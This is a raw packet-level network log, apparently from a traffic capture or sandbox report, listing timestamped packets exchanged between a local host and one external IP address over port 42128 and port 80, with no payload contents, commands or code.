Oct 15, 2024 19:22:22.457128048 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457161903 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457180977 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457297087 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457309008 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457320929 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457333088 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457345963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457346916 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457357883 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457365036 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457374096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457389116 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457401037 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457412958 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457427025 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457439899 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457453012 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457454920 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457465887 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457480907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457484007 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457493067 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457508087 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457520008 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457520008 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457530975 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457545042 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457555056 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457556963 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457585096 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457595110 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457598925 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457611084 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457623959 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457624912 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457636118 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457670927 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457695961 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.457834005 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.457884073 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458198071 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458216906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458229065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458271980 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458296061 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458338976 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458353043 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458396912 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458416939 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458534956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458867073 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458929062 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.458986044 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.458998919 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459011078 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459022999 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459034920 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459048033 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459053040 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459059954 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459075928 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459120035 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459279060 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459291935 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459305048 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459316969 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459331036 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459335089 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459343910 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459352016 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459399939 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459408998 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459413052 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459423065 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459428072 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459441900 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459454060 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459464073 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459466934 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459498882 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459532976 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459537029 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459547997 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459561110 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459573984 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459585905 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459597111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459609032 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459610939 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459624052 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459635973 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459639072 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459649086 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459662914 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459676027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459681034 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459687948 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459701061 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459712982 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459722042 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459724903 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459737062 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459749937 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459753036 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459764004 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459788084 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459798098 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459800959 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459817886 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459830999 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459834099 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459844112 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459856987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459866047 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459868908 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459898949 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459932089 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.459939957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459954023 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459965944 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459978104 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.459999084 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460016966 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460086107 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460099936 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460114002 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460129976 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460135937 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460143089 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460155010 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460166931 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460167885 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460180998 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460186005 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460194111 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460206985 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460216999 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460218906 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460248947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460262060 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460269928 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460273027 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460285902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460294008 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460340023 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460395098 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460407972 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460418940 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460429907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460441113 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460453033 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460464001 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460469961 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460475922 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460489035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460500956 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460513115 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460524082 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460536957 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460547924 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460550070 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460561037 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460573912 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460582018 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460587025 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460608959 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460617065 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460621119 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460633993 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460654020 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460654974 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460666895 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460679054 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460690022 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460695028 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460701942 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460727930 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460753918 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460755110 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460808039 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460920095 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460932016 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460942984 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460954905 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460966110 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460977077 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460978985 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.460988998 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.460999966 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.461003065 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461014986 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461026907 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461034060 CEST	49735	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.461039066 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461050987 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461062908 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461075068 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461086035 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461108923 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461121082 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461132050 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461143970 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461154938 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461167097 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461178064 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461189985 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461231947 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461246014 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461256981 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.461268902 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492543936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492587090 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492645025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492650032 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.492680073 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492712975 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492748022 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492769003 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.492775917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492815018 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.492827892 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492861986 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492891073 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492913961 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.492943048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.492944956 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.492976904 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493010044 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493024111 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493043900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493077040 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493110895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493130922 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493149996 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493180037 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493185043 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493212938 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493236065 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493244886 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493278980 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493309975 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493310928 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493345976 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493377924 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493391991 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.493411064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.493427038 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.499104023 CEST	42128	49735	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527453899 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527496099 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527529955 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527544975 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527566910 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527580976 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527621031 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527654886 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527673006 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527688026 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527721882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527730942 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527757883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527793884 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527831078 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527918100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527950048 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.527976990 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.527983904 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528079033 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.528104067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528160095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528192997 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528212070 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.528255939 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528363943 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.528430939 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529112101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529171944 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529309988 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529362917 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529396057 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529418945 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529654980 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529687881 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529709101 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529721022 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529753923 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529783010 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529788017 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529822111 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529839993 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529855967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529887915 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529922009 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529946089 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529953957 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.529985905 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.529989004 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530020952 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530026913 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530050039 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530057907 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530091047 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530123949 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530139923 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530158043 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530172110 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530191898 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530225992 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530236959 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530256987 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530288935 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530316114 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530340910 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530347109 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530373096 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.530380011 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.530446053 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.614840984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.614913940 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.614969969 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.614973068 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615004063 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615040064 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615071058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615103960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:22.615130901 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:22.615139008 CEST	80	49721	87.120.127.223	192.168.2.5
